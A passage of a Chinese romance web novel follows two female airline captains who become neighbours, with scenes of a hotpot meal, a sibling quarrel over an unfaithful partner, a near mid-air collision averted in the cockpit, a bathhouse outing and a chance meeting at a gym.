“好的,再见,起落安妥。”陆楹举起转弯销,红色的绸带在寒风中飘扬。
5. chapter 5
民航禁止飞行员疲劳驾驶,纵使旺季,也必须严格遵守飞4休2的规定。
所以她们每月至少可以休息10天。
1月19日,腊月初一,宜搬家,安床,开火。
虞颂恩休假,11点不到就躲在厨房捣鼓美食。她厨艺不精,但还是能做简单的家常菜,至少不会饿死。
当然,最擅长煮火锅。
料理台前,虞颂恩调制火锅蘸碟,发现醋瓶已经见底,冲着门外喊:“魏莱,买醋。”
“好!”魏莱住次卧,趿拉着拖鞋走过去,倚着门框央求,“陪我去吧,好姐姐。”她柳眉凤眼,长着一张古人脸,天生自带媚骨。
“没看我在忙?”虞颂恩比她年长5岁,宠着这位老乡,进厨房的事都主动做。但魏莱也明事理,会抢着洗碗和拖地,偶尔帮忙跑跑腿。
“外面冷,需要你陪我说话暖一暖。”
虞颂恩翻着白眼,打开水龙头,低头洗手:“你猜我信不信?”
“信,我们底楼没超市,要去三栋,一来一回10分钟呢。”
虞颂恩转身,扯出纸巾擦手,剜她一眼,“走吧。”
魏莱往客厅迈步:“你最好,天下第一好,可惜我无性恋,不爱男也不爱女,不然铁定追你。”
虞颂恩没回话,两三步走去鞋柜左侧的落地衣帽架,顺手将酒红色羽绒服递给魏莱。
“给。”
“谢啦。”
“冷,戴好围巾。”虞颂恩穿好对着穿衣镜,抬手整理挂在脖颈的围巾。
魏莱身子凑过去:“你这围巾不错,哪儿买的?”
“墨尔本买的,百搭色。”米咖渐变的羊绒围巾,手感细腻柔软,保暖效果极佳。
“谁说百搭?别人穿不出你的女王范儿。”
“你这张嘴,不谈恋爱可惜了。”虞颂恩桃花眼似醉非醉,笑起来宛若天边的月牙。她不等魏莱反应,先行开门,走出去。
魏莱紧随而来:“谈恋爱有什么好?我不想为情所困,吃喝玩乐才是人生的真谛。”
虞颂恩按电梯:“你谈一个就知道了。”
“拒绝,谈恋爱还要花钱。”
她们去时热热闹闹,回来却冷冷清清,电梯门打开,虞颂恩抬眼就撞见三张熟悉的脸。何汀,沈嘉柠,竟然还有秦菲?难道真的旧情复燃?没听说柯妤和她分手啊。
五个人俱都沉默,尴尬的气氛瞬间蔓延。
魏莱身为在场唯一的橘外人,咽了咽喉咙,打破沉寂:“何机长来朋友家玩啊?”
何汀嗓音和往常无异:“搬家,今天第一天开火。”
“搬家?”虞颂恩惊诧的语气。
何汀点头:“嗯,我住13楼,2号房。”
2号房82平米,比虞颂恩5号房多整整16平米。虞颂恩不知怎么接话,“哦”一声算作回应,紧接着却瞅见何汀投来询问的目光。
什么意思?
虞颂恩挣扎两秒,应付她:“12楼,5号房。”
她们所在的景通苑坐落在东鹏路和机场高速的交汇处,紧邻三个公园,两家医院,居住环境兼具自然生态和城市便利。去年经济萧条,北城房价暴跌,但小区二手房的平均单价也超过8万。
虞颂恩去年10月买的房,66平米。麻雀虽小,五脏俱全,装修也是她喜欢的现代简约风格。
“好。”何汀同样词穷,她身侧的秦菲低头发微信,保持沉默,唯独沈嘉柠睁着痴女眼偷瞄虞颂恩。
魏莱全程憋笑吃瓜。
“哈哈哈哈哈,救命啊。”
虞颂恩掩门,玄关智能灯自动开启,魏莱瞬间笑出声,“我不行了,先笑会儿。”她趴着鞋柜蹭去短靴,“大型修罗场啊,前任,419对象,初恋现女友,沈嘉柠的眼睛从头到尾都盯着你。”
“欸,欸,欸,像这样。”魏莱眼波流转,学得有模有样。
“要不要这么夸张?”虞颂恩换鞋,脱掉外套挂好,走去厨房。
魏莱也跟过去,帮忙打下手:“没,我还收敛了。”
虞颂恩撕掉香醋瓶盖的塑料,指腹摩挲侧边找开口,叮嘱魏莱:“我们和平分手,你开我玩笑可以,别拿她开玩笑。”
“嗯呐,我听话。”魏莱蹲在角落剥蒜,表示不解,“何机长和秦菲怎么回事?出轨啊,原则性问题,还能做朋友?”
虞颂恩拔出瓶盖,倒醋:“不知道,也不想知道。”
“哦,好吧。”
虞颂恩端起锅具,挑眉示意她:“去拿电磁炉,准备吃饭。”
两瓣蒜捏在手心,魏莱懵了:“蒜呢?不要吗?”
虞颂恩轻呵:“笨啊,蘸料碟里。”
“你不早说。”魏莱站起身,打开头顶的柜门,找到电磁炉。
清汤锅底,手打牛肉丸在锅中沉沉浮浮,她们分坐餐桌两边。虞颂恩夹着肥牛卷轻轻一涮,默数15秒,蘸麻酱塞进口中,鲜甜瞬间在舌尖化开。
魏莱盛两颗牛肉丸放进瓷碗,顾不得滚烫咬一口,汁水“噗”地溅出。
吸满汤汁的鲜肉,她迫不及待咀嚼:“烫,烫。”
狼吞虎咽的样子,虞颂恩无奈:“你慢点。”
她们闲聊着,魏莱突然问:“那小女友还缠着你没?”
“没。”去年11月,虞颂恩和谈了短短40天,比她小6岁的前女友分手。
“她不是挺可爱吗?也不行?”
虞颂恩喝两口无糖豆浆,不回避:“我对她没有世俗的欲望,抱抱可以。”
“咳,咳咳。”魏莱双手抱拳,“佩服你的坦诚。”
虞颂恩和初恋在一起三年,分手以后,三年谈四个,没一个超过两月。
“做人嘛,开心最重要。”她主体性极强,会主动表达需求,不会因为拒绝别人产生愧疚,自认为和前任在恋爱期间都倾注真情。可惜有缘无分,她不能接受自己精神出轨。
“也对,谁也没法保证谈恋爱不分手,你也没对不起她们。”
窗玻璃渐渐蒙了厚厚一层白雾,将室外的冰天雪地晕成模糊的光影,仿佛把连日的疲惫带走,驱散......
同样打火锅,13楼的红汤“咕噜咕噜”翻滚着麻与辣的热切。沈嘉柠第无数次叹气:“她都没看我一眼,好绝情。”
何汀烫毛肚:“有,进门的时候。”
沈嘉柠眼底闪过光芒:“真的?”
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>因着她们这层关系,何汀实话实说:“真的,但她明显对你没感觉,别自讨没趣。”
“你!”沈嘉柠再次叹气,“我知道,我也没抱希望。”
“这样最好。”何汀吃完毛肚,双肩端正地坐在角落喝茶,中和火锅的油腻。
沈嘉柠话锋突转:“听说有人给你表白?”
“嗯,拒绝了。”何汀冰棱子似的声线,不带任何感情吐槽,“他话多,爱出风头,开追悼会都恨不得躺中间。”
“扑哧。”沈嘉柠乐了,转头看向始终一言不发的秦菲,大咧咧道,“小秦同学,管管你姐,她嘴好毒。”
秦菲终于舍得抬头:“管不了。”她是何汀异卵双胞胎妹妹,脸不像,性格倒有些相似,甚至话更少。好在嗓音偏暖,沈嘉柠闭着眼睛都能区分。
“嘿,你真是。何汀,管管你妹,手机就没离手。”
如出一辙的话:“管不了。”冬至那晚,知道虞颂恩所说的对象就是秦菲,何汀连续给她这位妹妹打去三通电话都被挂断,最后直接关机。
第二天,她风尘仆仆赶回家,说明前因后果,却得到三个字“少管我。”
何汀当时失去理智,质问妹妹:“你在做什么?明知道她出轨!”
当小三,她说不出口,然而身前的秦菲双手直颤,涨红了脸,咧着嘴冷笑:“对啊,我知三当三,你满意了吗?”
“她对我好,情绪价值给的足,为什么不行?”
“再说一次,以后少管我!”
何汀眼睁睁看着秦菲夺门而去。
离开北城以前,何汀主动找过柯妤,对方信誓旦旦,保证不会再犯。她知道口头承诺如微风过耳,只能靠自我约束。但好歹三年过去,妹妹过得还算幸福。
“你们果真亲姐妹。”沈嘉柠若有所思,问秦菲,“对咯,你女朋友在哪个部门?什么时候介绍给我认识认识。”
何汀极其注重边界感,妹妹的事,她从未向沈嘉柠提及,当然,也包括自己和虞颂恩短暂的温存。
秦菲抿着嘴:“她搞勤务的。”
“勤务?说具体点。”
秦菲深吸一口气,说:“气象中心。”
“气象中心啊,我认识她们的副主任。”沈嘉柠笑得真切,“改明儿一起吃饭,你的女朋友也是我妹妹。”
“好。”秦菲话音刚落,碗边的手机乍然响起,显示柯妤来电。
何汀观察妹妹瞬息万变的神情,没说话。
沈嘉柠抬手,推秦菲肩膀:“接啊,别不好意思。”
“哦。”
电话接通,秦菲还没开口,柯妤先说,“菲菲,今天我妈生日,我就不和你吃晚饭了,明天见。”
“好,明天见。”秦菲挂电话。
何汀脸色骤变:“她妈妈生日,没提前给你说?”
“没。”
何汀气不打一处来,声音彻底冷下去:“你们本来约着去干嘛?”
秦菲埋着头:“吃饭,看电影。”
“所以,你觉得,她这样的行为对吗?”
沈嘉柠发觉气氛不对,忙打圆场:“哎呀哎呀,虽说长姐如母,但小菲也30岁了,恋爱也该她自己谈。”
6. chapter 6
乌云聚集,朔风凛冽,天光渐渐暗淡。室外偶有狗吠,人声絮语似有若无。
和事老在场,弥漫的硝烟眨眼消散,但暗流仍在涌动。秦菲食不甘味,借口公司加班,匆匆穿好衣服,拎着包就走,已经在门边换鞋。
沈嘉柠递眼神:“你不说两句?”
何汀抿一口茶,佯装不在意,眼睛却悄然瞥向玄关:“说什么?她今天夜班,自己不想留。”方才当着沈嘉柠的面质问妹妹,确实有点失控。况且,对方也没说错,恋爱应该自己谈,她可以提醒,无权干涉。
“嗐,我去瞧瞧。”沈嘉柠起身,抓着大衣往外走,“小菲,等一下。”
“嘉柠姐,我没事。”秦菲步子迈得快,抬脚跨进电梯。
沈嘉柠闪身进去:“哎呀,你姐没正儿八经谈过恋爱,经验为0.1,别听她的。”
秦菲目光在按键面板停留:“0.1?”
“啊,网恋半年,啥都没干。”
负二楼数字亮起,秦菲眼神软下来:“听她提过,没见面?”当初她刻板印象,认为依何汀的性子,断然不会网恋,哪知姐姐坦诚,照片给她看。
“99年,小我4岁。”
“律师,唱歌好听。”
思绪被沈嘉柠打断:“见过,但已经分了。”
秦菲分神,注视着屏幕数字的变化:“分了?”
“是啊,说是性格不合。”沈嘉柠挖空心思哄,“所以你比她强,谈多久啦?”
“三年多。”
“不错,挺稳定。但你姐有一点说得对,她妈妈生日,应该提前告诉你。”电梯在负二楼停稳,沈嘉柠走出去。
秦菲语气坚定:“阿柯平时不这样。”
“那就是忙忘了,你别往心里去,多大点事儿啊。”
秦菲停住脚步,转身面对沈嘉柠:“嗯,嘉柠姐,你回去吧。”
“行,还是那句话,何汀她死脑筋,你别跟她置气。”
秦菲深呼吸,唇角挤出笑容:“知道,她也是关心我。”
“去吧,慢点开车。”
“好,谢谢嘉柠姐。”
“嗐,说什么谢。”沈嘉柠目送她走远,回头就瞧见吃瓜群众魏莱。
互相点头打招呼,没说话,擦肩而过。
魏莱5点的航班直飞鹏城,这会儿两点多,正好开车去公司。她快步走去停车位,坐进自己的粉色海豹电车,拿着手机,指尖跳跃:【靠,吃到大瓜。】
虞颂恩已经收拾好厨房,窝进柔软的单人沙发,犯困:【?】
【何汀和秦菲吵架了,你前任劝和。】
【关我啥事?】虞颂恩闭眼放空,手机搁在大腿上。这种状态可以理解成对何汀的行为表示困惑,但她并没有评价对方的立场。当作普通同事的八卦,饭后茶余听听也无妨。
【真不想知道?】
【我数321。】
【三。】
【二。】
【一。】
微信提示音不断,虞颂恩出了会儿神,捞起手机,打字:【说。】
【你前任骂何汀死脑筋,帮着秦菲说话。】
虞颂恩:【她有病吧?今天没睡醒?】
【看,你帮何汀说话。你和前任果然凑不到一起。】
【......】虞颂恩捏着耳垂提神:【还有吗?】
【没了,就一句,最关键的一句,说明何汀和秦菲破镜重圆了!】
【我睡了。】没原则,虞颂恩扔掉手机,拢了拢肩膀裹着的毛毯。
天色愈发昏暗,落地灯晕黄的光线映照,她玉雕雪砌般的容颜仿佛蒙着暖色滤镜。然而仔细看去,眉眼却藏着难以察觉的烦躁。
辗转反侧。
***
沈嘉柠掩住房门,迈步走进客厅,没瞧着何汀,正要开口,单薄的身影从眼前掠过。她看对方端着冰块晃悠去吧台,不解道:“你干嘛?”
“喝酒,要不要试试?”
神州航空规定,飞行员航前24小时禁止饮酒。沈嘉柠挂好大衣,边走边问:“你明天不飞?”
“不飞,后天中午飞沪城。”
何汀站在吧台前,长身玉立,宛如一棵挺拔的青松。
沈嘉柠坐她对面:“行吧,喝点。”
“嗯。”
何汀左手按住不锈钢保鲜盒,右手握碎冰锤,一起一落砸着冰块。
沈嘉柠看她动作熟练,忍不住吐槽:“你说你是不是多此一举?买方形的小冰块模具就行了啊,何必自己动手凿?”
何汀清丽的面容背着光,依旧拧眉:“我喜欢碎冰渣。”
“什么奇怪的偏好。”沈嘉柠视线挪移,盯着她的手瞧,不禁感慨,“手好看,适合做1。欸,你真没试过?”
何汀实事求是:“没。”
沈嘉柠啧了一声,摇头:“可惜了,暴殄天物。”
“你夜班,喝红酒吧,不醉人。”何汀没接她的话茬,将冰碴装进透明的柯林杯。
沈嘉柠眯着眼睛笑:“真贴心。”
何汀做事神情专注:“帮我拿一下冰箱的西柚汁。”
“哦。”
片刻后,何汀接过沈嘉柠递来的西柚汁,倒50ml进酒杯,又倒50毫升气泡水,随后抬手打开左侧酒柜的柜门。
沈嘉柠这才关注她酒柜的酒,纳罕道:“你个酒鬼,藏着这么多酒!”
“没藏,也没多少,都是基酒,还有两瓶红酒。”身为高压高危职业的飞行员,何汀偶尔喝酒减压,每次一杯,绝不贪杯,最多微醺的状态。但她一般不喝啤酒,觉得胀肚。
沈嘉柠看清楚标签:“拉图嘉利干红,19年的?”
“嗯,19年的好喝。”何汀顺手拿一颗车厘子点缀,嗓音清冽地说,“来,尝尝。”紫红,浅粉,白,渐变过渡,气泡的柔细感包裹着酒液,形成层次分明的视觉效果。
“还挺讲究。”西柚汁和果味气泡水混着红酒,弱化酒的涩感,同时提升整体清新度。沈嘉柠端起酒杯喝,抿唇回味,“口感轻盈,好喝。”
她慢悠悠呷酒,目光追随何汀。
调酒器套装齐全,量30ml伏特加,10ml蓝橙酒,夹冰块放进不锈钢雪克杯,shake。调酒摇法多样,何汀采用最简单的摇法,双手均衡发力,快速晃动,确保冰块在雪克杯里充分撞击。
摇晃15
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秒停止,她取一只复古锤纹磨砂杯,先放冰块,加小半杯桃汁,气泡水,最后倒摇匀的浅蓝色酒液。
沈嘉柠竖起拇指:“怎么没有薄荷叶或者柠檬装饰?”
海岸线鸡尾酒,追寻大海的浪漫与宁静。何汀在吧椅坐定,薄唇贴着杯沿,呼吸轻而缓:“没买。”
“美中不足了。”
“不卖酒,自己喝。”何汀蹭起来,穿着拖鞋走向卧室,不过半分钟折返,手里多出一本旧相册。
“追忆过去?你们姐妹俩还好吧?”
何汀没回话,翻开相册,沈嘉柠坐近凑热闹。每张照片,从她满月到100天,到周岁,两岁,第一天去幼儿园,幼儿园六一活动,甚至哭鼻子被嘲笑,身边都有妹妹......
她们,形影不离。
何汀紧锁眉头稍稍舒展,声音低柔而温和:“其实,比起何女士和老秦,小菲陪伴我的时间更多。”
“你看这张,我俩一起挨打,老秦抓拍的照片。”
那会儿小学二年级,快期末考试,何汀想着带妹妹玩捉迷藏放松心情。她们躲在学校体育馆放篮球的箩筐背面,同学找不到,撂挑子走人。
姐妹俩就在原地等待,不知家长见不着人,心急如焚差点报警。
“何女士说,她们里里外外找到快10点,就打10个手心。我既是姐姐,还是始作俑者,应该一个人承担。后来妹妹不舍,要求公平对待,我挨5个,她也5个。”
沈嘉柠左手撑着下巴:“羡慕你们,我也想有一个姐姐,或者妹妹,肯定很幸福。”
回忆如潮水般穿透时光,何汀指腹摩挲着照片,低声呢喃:“是啊,很幸福。”
沈嘉柠轻撞她的肩膀:“你妈你爸工作忙,从小到大,是不是你管着她?”
“管着?”何汀舔了舔唇,秦菲曾经再三强调的字句在脑中闪过。
“少管我。”“别管我。”“我不用你管。”
“比如小菲谈恋爱的事,你可以关心,不要试图控制她,左右她的思想。”
关心,控制,两个界限有点模糊的行为。关心本质以对方为中心,尊重对方的独立性和选择权。控制可能披着“为你好”的外衣,希望对方服从,满足自己的焦虑。
何汀目前还没有想要控制秦菲的心思,但也不能保证以后如果妹妹执迷不悟,自己不会失态。
“我知道。”有些事没法找人诉说,何汀只能憋在心里,情绪得不到排解。她仰头喝酒,将叹息沉回胸腔。
假期的日子如白驹过隙,转眼又是忙碌的上班日。
何汀和虞颂恩执飞沪城。
上午10点刚过,两人一前一后进公司大厅。
“正常,normal。”酒精检测,两台机器近乎同时显示通过。虞颂恩当没见着人,一言不发走过何汀身边,去领取飞行任务书。领取任务书前需要先测量体温,她背对同样穿着飞行员制服的搭档签字。
何汀先打招呼:“虞机长。”
虞颂恩轻哼,转身将任务书塞给她,“今天你飞。”
何汀投来询问的目光。
“我心情不好。”看见你更糟,虞颂恩嘀咕着,嗔她一眼。
7. chapter 7
飞机驾驶舱,虞颂恩公事公办,没与何汀说半句闲话。何汀也不再主动开启话题,静默地输着飞行数据。
乘客组告知281名乘客都已登机,何汀捏着无线电,打开广播的按钮。
“女士们,先生们,下午好,这里是机长广播。欢迎你选乘神州航空SZ1533次航班,由北城前往沪城虹桥。今天的飞行时长约为2小时30分钟,根据航路天气预报,我们会在飞行过程中遭遇轻微颠簸,所以请您务必全程系好安全带。”
何汀娓娓道来,嗓音带着点少见的温柔,像深夜电台的主播:“现在起飞前所有准备工作都已经完成,飞机舱门也即将关闭,我们等待塔台给出的指令就可以推出。”
“最后,祝您旅途愉快,谢谢。”
何汀停顿两秒,继续英语播报:“Ladiesandgentlemen,goodafternoon.Thisisyourcaptainspeaking.WeeaboardShenzhouAirlinesSZ1533,whichisfromBeichengtoHuchengHongqiao.”
......
Nowallthepreparationbeforeflightisfinishedandthecabindoorsaregoingtobeclosed.
听着何汀流利的口语,虞颂恩再次暗自决定,落地就报班。
Lastbutnotlest,Iwishallofyouenjoyyourflight,Thankyou.
何汀说完,飞机舱门关闭。虞颂恩接收放行信息,申请推出。
20分钟后,飞机顺利起飞。为确保航空器的状态正常,两位机长会继续完善检查。
何汀:起飞后爬升检查单线上。
虞颂恩:起飞后爬升检查单线上,起落架
何汀:收起。
虞颂恩:襟翼
何汀:收回
虞颂恩:空调组件
何汀:接通
虞颂恩:起飞后爬升检查单完成
她们一来一回,没有废话,巡航阶段依旧如此。何汀被这股冰霜般的空气包围,终于察觉虞颂恩的异常。她趁乘务长送水进来,将矿泉水递给虞颂恩:“给。”
虞颂恩鼻腔闷响:“嗯。”
何汀抱着保温茶杯,旋开盖子喝茶,聊天的语气说:“今天只飞两段,晚饭可以回来吃,下个月春运开始,我们就得东奔西走了。”
耳边再次飘来:“嗯。”
虞颂恩直视前方,神色疏冷。
人与人之间的关系,有时就像跳舞。距离太近会踩到彼此的脚,太远又无法同频。
何汀向来注重边界感,按照以往的习惯,知道对方没有聊天的意愿,通常会尊重。然而此时此刻,看着虞颂恩冷峻的侧脸,她破天荒打破规则,试图找到平衡点。
“虞机长,不知道景通苑附近有没有菜市场?”
“菜市场?”在虞颂恩印象里,何汀各方面都出类拔萃,做事有计划,有冲劲,有底线,从来不会轻易低头。这也是她长久以来将对方当作参照,互相较劲的原因。然而当她知道何汀原谅出轨的前任,心头蓦然涌出某种难以言喻的失望。
所以从10点多在公司见面,到如今下午2点,快4个小时,心里一直憋着气。
1:怎么能是恋爱脑呢?
2:关你什么事?
1:我竞争对象啊,她如果忙着谈恋爱,不思进取怎么办?
2:忘了四年前的技能竞赛,她和你拼命?
1:今时不同往日,何汀现在就是恋爱脑plus版。
2:少操点心吧。
脑海中两只小人打架,2号险胜,虞颂恩顺着何汀给的台阶走,“二期对面的超市可以买菜,但我一般叫外送。”
何汀琢磨片刻,若有所思地说:“还是当面挑比较好。”
“那你就去超市。”真是,给意见又不采纳,虞颂恩在心底翻起白眼。
何汀唇角牵出弧度:“嗯,我想找一天都休息的时候兑现承诺。”
“承诺?”
何汀眼底盛满笑意:“我煎牛排,你说好吃......”
“打住。”
9年前,她们去加拿大蒙特利尔飞行学院培训。何汀厨艺好,偶尔给同学开小灶。放机长那晚,她们在宿舍烤肉庆祝,虞颂恩嘴馋,连吃五块牛排吃坏肚子,大言不惭说,下次还能吃五块。
何汀递药给她:“五块太多,三块吧。”
虞颂恩捂着肚子强撑:“只要你煎的牛排,别说五块,十块我都可以。”
“夸张。”
“你好抠,是不是不想花钱?”虞颂恩开玩笑,她们买食材都是AA。
哪知何汀应允:“好,欠你一顿煎牛排,以后补。”
不过这种糗事,干嘛要记住?虞颂恩回忆过去,身侧的何汀开始动之以情,美食诱惑:“澳洲的谷饲西冷,我月初买的,配菜还是老三样,芦笋,口蘑,小番茄。”
虞颂恩肚子的小馋虫被她勾起,饶有兴味地挑眉:“没有大蒜和迷迭香?”
“有,当然有。今天两边天气都好,可以准时下班,择日不如撞日吧。”何汀话音刚落,紧盯着显示屏雷达的虞颂恩顿时警觉:“何汀,前方飞机正在下降高度,我们可能会相对飞行。”
“问区调。”何汀立即断开自动驾驶,手动操作。
虞颂恩呼叫区调管制员:“区调,神州1533,请确认前方25海里,12点钟方向飞机的位置。
区域管制员回应:“神州1533,区调,前方波音787飞机显示距离25海里,飞行高度(FL)300。”
新航波音787,机组误领管制员的高度指令,副驾复述以后,无线电干扰,管制员没有指正,飞机突然从高度FL310下降到FL300,而虞颂恩她们的飞机正好在FL300高度层巡航。距离25海里,相向速度1700km/h,也就是说,她们如果没有及时解决危机,两架飞机可能会在90
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秒以后相撞。
虞颂恩屏住呼吸,心跳加速,说话的语调却不变:“飞机在我们正前方,25海里。”
她说完,空中防撞系统突然响起尖锐的警报声,Traffic,traffic(交通冲撞).
何汀瞬间拧眉,握住操控杆:“我想转航向,往北飞,你申请一下。”
她正好预判指令,区调管制员紧接着说:“神州1533,紧急避让,右转航向360。”
虞颂恩一字不差,复述:“右转航向360,神州1533。”
同时,管制指挥新航的波音飞机右转航向150,往南飞。
两架飞机迅速调转方向,在彼此相隔约8海里,垂直高度仅100米成功避让,防撞警报解除。
何汀等待新航的波音飞机爬升高度,听指令转回预定航向,再次开启自动驾驶。两人情景意识强,巡航过程中对周围飞机的监控准确,处理问题冷静果断,也不忘通过机长广播安抚乘客。
落地以后,公司评估她们的状态,可以继续执飞返程航班。
短暂过站,乘客行李运输,飞机加注航油,虞颂恩正在绕机检查,接到运行的电话。
“虞机长,北城落地以后需要再飞一段冰城。”
虞颂恩不假思索,问她:“备份呢?”安排的机组无法执飞,会有另外的飞行员替补。
“临近春运,备份的都飞了。北城和沪城天气好,你们应该可以准时准点回来,8点45飞,3个小时过站,来得及。”
“万一延误呢?还是找其他同事准备吧。”
备份分为在公司备份和在家备份,公司备份的飞行员飞走,在家备份的需要临时抢救航班。虞颂恩想吃牛排,推辞。
运行:“会再通知其他机组,但你们可以就你们飞。”
虞颂恩不明白她坚持的原因:“为什么?”
“今天飞沪城的避让很及时,驾驶舱录音都在,公司准备拿来做宣传。”
“宣传?”虞颂恩检查完飞机,走舷梯进驾驶舱。
“是啊,领导想让你们多飞。”
“落地再说吧。”虞颂恩脱掉反光背心,抬脚跨进副驾的座位。
“好,再协调。”
运行挂断电话,何汀问:“怎么?”
牛排可能落空,虞颂恩没好气道:“想让我们飞冰城。”
“什么时候?今晚?”何汀翻阅北城前往冰城的航班。
虞颂恩:“嗯,8点45。”
“按道理应该ok。”何汀考虑可行性。
虞颂恩惊讶:“加班耶,你都不抗议?”
何汀笑容和煦:“抗议有用吗?”
“不愧是合格的牛马。”
“只能改天再约牛排,不过虞机长,是不是该尽地主之谊了?”
虞颂恩以为幻听,主动讨要,这是何汀?她不答反问:“什么地主之谊?冰城到我们那儿八百多公里!”
“都在大东北,不是吗?”
虞颂恩脱口而出她生平最后悔的话:“那就去搓澡吧。”
8. chapter 8
虞颂恩订的3小时私汤家庭套房,距离驻外的酒店只有两公里。
私汤,顾名思义,私密性强,泡池和汗蒸房独立且宽敞,搓澡也无需排队。然而有一点不好,太安静,虞颂恩能清晰听见她心脏的鼓噪声,从何汀跨进泡池的第一秒开始,心跳就怦怦然。
所以泡澡的15分钟,她们一左一右,各自占据两边角落,背对着刷手机。
暖灯,玫瑰花,香薰蜡烛,营造浪漫的氛围,场面却如此滑稽。
419的时候不是挺坦荡吗?以前和魏莱搓澡也没这样?虞颂恩将原因归咎于何汀现在不是单身,一起泡汤有种偷情感。
怎么缓解尴尬?虞颂恩脸红得像包着一团火,没转头,低声问何汀:“我叫阿姨进来搓澡?”
“好,听说21号和23号不错。”声音轻飘飘,带着点犯困的慵懒。
仿佛那晚,她做到最后手酸,想用小玩具,被何汀委婉拒绝:“不太习惯......”
要命。虞颂恩脸颊发烫,说不清因为泡澡还是何汀的那句话。
心思胡乱地来来去去。
幸好敲门后,两位看着四十来岁的阿姨应声进来,开口就成功解围。
“哎呀,丫蛋儿,你们是朋友吧?怎么害羞呐?来,跟姨走。”
虞颂恩如临大赦,火速起身跨出浴池,任由阿姨扶着她往搓澡区走。
“三张床,你找地儿躺。”
虞颂恩在左侧的床躺好,何汀紧随而来,默契地舍去中间位置,躺右边床。
东北搓澡的阿姨爱唠嗑,瞧她扭扭捏捏,笑着问:“第一次搓澡吧?南方过来旅游的?”
虞颂恩说着正宗东北话:“隔壁辽州的。”
阿姨自来熟:“哎呀,早说嘛,大姨我也是,你朋友呢?”
何汀闭目养神,应道:“阿姨,我渝都的。”她母亲和外婆都是地地道道的渝都人,父亲北城人。小时候两老工作忙,她与秦菲跟着外婆在渝都生活,初中才回北城。
另一位阿姨接话:“南方小土豆啊,行,姨给你轻点搓。”
她们都挑的牛奶搓,阿姨擅长提供情绪价值,从头夸到尾:“这身材真好,练过吧?腰腹挺紧实,不像有些大胖丫头软乎乎。”
何汀缄口不言,虞颂恩充当话事人:“我们进健身房。”
“你看这小脸,好漂亮,多嫩焯啊。”“我就乐意跟你们唠嗑,感觉年轻好几岁。”
虞颂恩有一句没一句搭腔:“姨,你年轻的时候也不赖。”
“哎呀,嘴真甜,这小丫蛋儿。”阿姨拍一下她的肩膀,“来,侧面。”
虞颂恩听话转身,来不及遮挡,何汀未着寸缕的后背暴露在她眼底。
常年健身的飞行员,手臂线条流畅,肩平腰细。看似清瘦,实则藏着肉,紧致的胳膊就能瞧出端倪,如果发力,又是另一番景象。
阿姨右手搭着她的脖颈,“丫蛋儿,瞅啥呢?”
虞颂恩生着桃花眼,笑起来说不尽的灵动妩媚。原本都是别人紧张,不敢直视她,她极少有过局促不安,匆忙移开视线的时刻,“看,看电视。”
“嗯呐,这综艺好看。”
不清楚为什么只是匆匆一眼,何汀的后背就盘踞在她的脑海。
打车回酒店,虞颂恩洗漱完裹进软被,这种趋势愈发蔓延,甚至后半夜闯进她的梦。
深夜寂寂,被浪翻涌,细微的摩擦声隐约可闻。
“我很少1,5只指头就能数过来,你如果不舒服,要说......”
“能不能支棱起来,实在不行,借我一条腿吧。”
她们深吻着,泞湿的地方无限接近,低吟漫过唇齿......
......
“做不下去,总想着别人,我可能在精神出轨。”
月亮悬挂在天际,清幽的月光穿透落地窗,房间半明半暗,虞颂恩陡然惊醒。
意识逐渐清明,枕边空荡荡,无边无尽的黑暗笼罩着她,难言的空虚感。她深呼吸,扭头拿过床边的手机看时间。
凌晨5点多,浴室亮起暖灯,虞颂恩听着耳边淅淅沥沥的水声,恍然如梦。与何汀缠绵时抚过的腰背,情不自禁泄出的声音,触感和记忆似在苏醒。
越想忘记却越是深刻。
再这样下去,她怕自己忍不住以牙还牙,挖墙脚,当小三。
虞颂恩清洗干净,解锁手机,滑动屏幕浏览备忘录。飞行时长76小时,2月春运,应该很快能够积满互相压座的150小时。那她与何汀,大概十天半个月都见不着面,谈何肖想做梦。
况且,何汀不符合她的择偶标准,没趣,太寡淡。
说服自己,虞颂恩扔掉换下的内裤,抬脚走出浴室。
从冰城回去后,她和孟昊搭得多,三次休假都婉拒何汀的邀请。
【忙,坐班。】飞行员不飞的时候,偶尔也要去公司坐班。
【朋友约,滑雪去。】
【生理期,肚子痛,不想吃牛排。】
虞颂恩仰躺在客厅沙发看剧,抓着颗枣子往嘴里喂,内心吐槽:“休假不和对象腻歪,约我干嘛?”
何汀回微信:【多睡觉,贴暖宝宝。】
北城每年11月15日供暖,贴什么暖宝宝,她热。
虞颂恩挪开目光,关注着网剧,女主正在做锻炼腰腹的俄罗斯转体。健身?好像半个多月没去健身房,2800的年卡,不能浪费。
她执行力极强,不过20分钟,就出现在小区临街的健身房。
前台姐姐热情招呼:“小虞,好久不见。”
虞颂恩刷脸进去:“是啊,最近忙。”
前台姐姐走过来,套近乎:“欸,你们公司怎么买打折票,给我说一下呗。”
“周二下午1点后,周
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三凌晨,其实也便宜不了多少。现在又在春运,票价更是翻倍。”虞颂恩移步去更衣区,脱掉外套锁进衣柜。
“我买3月去丽城的票。”
“国内机票一般提前1个月买,你可以开始关注app,多对比价格。”虞颂恩边走边说,在跑步机前停住脚步。
“行,不打扰你热身。”
“好。”虞颂恩站上跑步带,放保温杯,设置快走的坡度和速度。
北城的冬天,气温零下,即便室内开着暖气,热身时间都相对较长。她手臂摆动,双腿匀速迈着,耳机不时传出标准的ICAO英语:“Wearedeclaringfuelemergency......”(我们宣布燃油紧急状况)
虞颂恩报的网络班,15节课,涵盖口语加听力双模块。
20分钟热身结束,她离开跑步机转身,抬头,熟悉的身影在两米开外驻足。
对视,凝眉,眼神复杂。
虞颂恩呼吸微滞,主动和她缩短距离,鬼使神差急着解释:“我生理期最后一天。”
何汀紧抿的双唇终于翕开,嗓音低低柔柔:“还是应该再多等两天,更别说,你中午肚子痛。”
虞颂恩狡辩:“我,我以毒攻毒。”
天杀的,阴魂不散,自己还因为撒谎,处在被动的状态。必须尽快逃离现场,她梗着脖子说:“我今天练背,轻松,你快热身吧。”
“好。”
还是少说话可爱,一个字最好。
虞颂恩做绳索高位下拉,锻炼上背部。她双手抓住直杆拐角,泡沫轴卡住大腿坐好,收核心,拉动器械。
吸气,呼气。
一,二,三......
数到第十,不知道哪根神经被何汀牵动,她视线停留。何汀下颌轻扬,碎发贴着脖颈,喉间微动,正仰头喝水。
没做什么,却撩人心弦,虞颂恩呼气,放开直杆逃走,远离跑步区附近的器械。
又在犯病,她临时决定,今天只练20分钟。
见鬼似的跑回家,掩住防盗门,脱掉羽绒服,她摔进皮质沙发,飘飘然的心才落在实处。
